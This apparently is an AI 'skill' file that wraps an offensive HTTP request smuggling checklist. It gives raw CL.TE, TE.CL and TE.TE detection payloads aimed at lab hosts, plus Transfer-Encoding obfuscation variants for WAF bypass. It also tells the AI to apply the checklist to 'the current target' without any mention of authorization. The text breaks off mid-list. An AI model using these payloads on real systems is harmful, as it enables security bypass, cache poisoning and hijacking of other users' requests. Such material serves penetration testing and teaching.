Claude-Red

SKILL: HTTP Request Smuggling

Metadata

• Skill Name: request-smuggling
• Folder: offensive-request-smuggling
• Source: https://github.com/SnailSploit/offensive-checklist/blob/main/req-smuggle.md

Description

HTTP request smuggling checklist: CL.TE, TE.CL, TE.TE variants, detection with timing and differential responses, WAF bypass, cache poisoning, credential hijacking, and request smuggling via HTTP/2. Use when testing reverse proxy/load balancer configurations.

Trigger Phrases

Use this skill when the conversation involves any of: request smuggling, HTTP smuggling, CL.TE, TE.CL, TE.TE, HTTP/2 smuggling, cache poisoning, WAF bypass, differential response, smuggling detection, proxy desync

Instructions for Claude

When this skill is active:

1. Load and apply the full methodology below as your operational checklist
2. Follow steps in order unless the user specifies otherwise
3. For each technique, consider applicability to the current target/context
4. Track which checklist items have been completed
5. Suggest next steps based on findings

Full Methodology

HTTP Request Smuggling

Mechanisms

HTTP Request Smuggling is a vulnerability that occurs when front-end and back-end servers interpret HTTP requests differently, leading to a desynchronization in the HTTP request processing chain. This desynchronization allows attackers to "smuggle" requests to the back-end server, potentially bypassing security controls or manipulating how other users' requests are processed.

graph TD
    A[Client] -->|HTTP Request| B[Front-end Server]
    B -->|Interpreted Request| C[Back-end Server]
    B -->|Different Interpretation| D[Desynchronization]
    D -->|Smuggled Request| C
    D -->|Security Bypass| E[Unauthorized Access]
    D -->|Queue Poisoning| F[Response Hijacking]

Request smuggling vulnerabilities arise from inconsistencies in how servers parse and interpret HTTP messages, particularly regarding:

• Transfer-Encoding (TE) header: Indicates chunked encoding
• Content-Length (CL) header: Specifies the length of the message body
• Header parsing: Different handling of whitespace, newlines, and malformed headers

Common desynchronization scenarios include:

• CL.TE: Front-end uses Content-Length, back-end uses Transfer-Encoding
• TE.CL: Front-end uses Transfer-Encoding, back-end uses Content-Length
• TE.TE: Both servers use Transfer-Encoding but handle edge cases differently

HTTP/2/3 specific desync variants:

• H2.CL / H2.TE: Conflicts between HTTP/2 body length signaling and HTTP/1 backends during downgrade.
• H2C Upgrade: Cleartext HTTP/2 (h2c) upgrade paths mishandled by intermediaries.
• Authority/Host Confusion: :authority vs Host normalization inconsistencies under CDNs.

graph LR
    subgraph "CL.TE Attack"
        A1[Client] -->|"POST / HTTP/1.1<br>Content-Length: 30<br>Transfer-Encoding: chunked<br><br>0<br><br>GET /admin HTTP/1.1<br>X-Ignore:"| B1[Front-end]
        B1 -->|"Uses Content-Length: 30<br>Sees one complete request"| C1[Back-end]
        C1 -->|"Uses Transfer-Encoding<br>Sees two requests:<br>1. POST /<br>2. GET /admin"| D1[Smuggled Request Processed]
    end

Modern variations include:

• H2.HTTP/1: HTTP/2 to HTTP/1 downgrades causing inconsistencies
• HTTP/1.H2: HTTP/1 to HTTP/2 transitions with different interpretations
• Timeout-based: Exploiting time differences in connection handling
• Method-based: Different interpretations of HTTP methods
• Header-based: Inconsistent header parsing between servers

Hunt

Identifying Vulnerable Applications

Architecture Reconnaissance

• Look for multi-server architectures with proxies, load balancers, or CDNs
• Identify systems using Nginx, HAProxy, Varnish, or Amazon ALB/CloudFront
• Check for HTTP/2 support with HTTP/1 backend compatibility

Basic Detection Tests

1. CL.TE Vulnerability Detection (Time Delay Example):

```http POST / HTTP/1.1 Host: vulnerable-website.com Transfer-Encoding: chunked Content-Length: 4

1 A X ```

Send this request, then send a normal request. If the normal request experiences a time delay, CL.TE might be present.

1. TE.CL Vulnerability Detection (Time Delay Example):

```http POST / HTTP/1.1 Host: vulnerable-website.com Transfer-Encoding: chunked Content-Length: 6

0

X ```

Send this request, then send a normal request. If the normal request experiences a time delay, TE.CL might be present.

1. CL.TE Confirmation (Example):

```http POST / HTTP/1.1 Host: your-lab-id.web-security-academy.net Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 6 Transfer-Encoding: chunked

0

G ```

Send twice. The second response should indicate an unrecognized method like GPOST.

1. TE.CL Confirmation (Example):

(Ensure Burp's "Update Content-Length" is unchecked)

```http POST / HTTP/1.1 Host: your-lab-id.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-length: 4 Transfer-Encoding: chunked

5c GPOST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 15

x=1 0

```

Send twice. The second request should show the effect of the smuggled GPOST.

1. TE.TE Desync Detection (Obfuscation Example):

(Ensure Burp's "Update Content-Length" is unchecked)

```http POST / HTTP/1.1 Host: your-lab-id.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-length: 4 Transfer-Encoding: chunked Transfer-encoding: cow

5c GPOST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 15

x=1 0

```

Send twice. The second request should show the effect of the smuggled GPOST, confirming that one server ignored the obfuscated Transfer-encoding: cow header.

Advanced Detection Techniques

• Differential Testing: Observe response timing differences
• Time Delays: Add artificial delays between requests to detect queue interference
• Obfuscation Testing: Try various obfuscation techniques:

``http Transfer-Encoding: xchunked Transfer-Encoding: chunked Transfer-Encoding : chunked Transfer-Encoding: chunked Transfer-Encoding: identity, chunked ``

• HTTP/2 Specific: Duplicate content-length headers, mixed/malformed pseudo-headers, abnormal stream resets, header/continuation frame splitting.

Testing Methodology

flowchart TD
    A[Initial Assessment] --> B{Vulnerability Detected?}
    B -->|Yes| C[Confirmation Testing]
    B -->|No| D[Try Advanced Techniques]
    D --> B
    C --> E{Confirmed?}
    E -->|Yes| F[Targeted Testing]
    E -->|No| D
    F --> G[Documentation & Exploitation]

    subgraph "Initial Assessment"
        A1[Test CL.TE Payloads]
        A2[Test TE.CL Payloads]
        A3[Check Header Obfuscation]
    end

    subgraph "Confirmation Testing"
        C1[Send Request with Clear Response]
        C2[Test Queue Poisoning]
        C3[Check Status Code Anomalies]
    end

    subgraph "Targeted Testing"
        F1[Test HTTP/2 Downgrade]
        F2[Check Header Oversizing]
        F3[Test Method Handling]
    end

1. Initial Assessment:
2. Test standard CL.TE and TE.CL payloads
3. Try header obfuscation techniques
4. Check for timing inconsistencies

1. Confirmation Testing:
2. Send a smuggled request that should trigger a distinct response
3. Test for request queue poisoning by affecting subsequent requests
4. Look for response status code anomalies

1. Targeted Testing:
2. Test HTTP/2 downgrade scenarios
3. Check for header oversizing vulnerabilities
4. Test method-specific handling differences

Vulnerabilities

Common HTTP Request Smuggling Scenarios

mindmap
  root((HTTP Request Smuggling))
    Security Control Bypass
      WAF B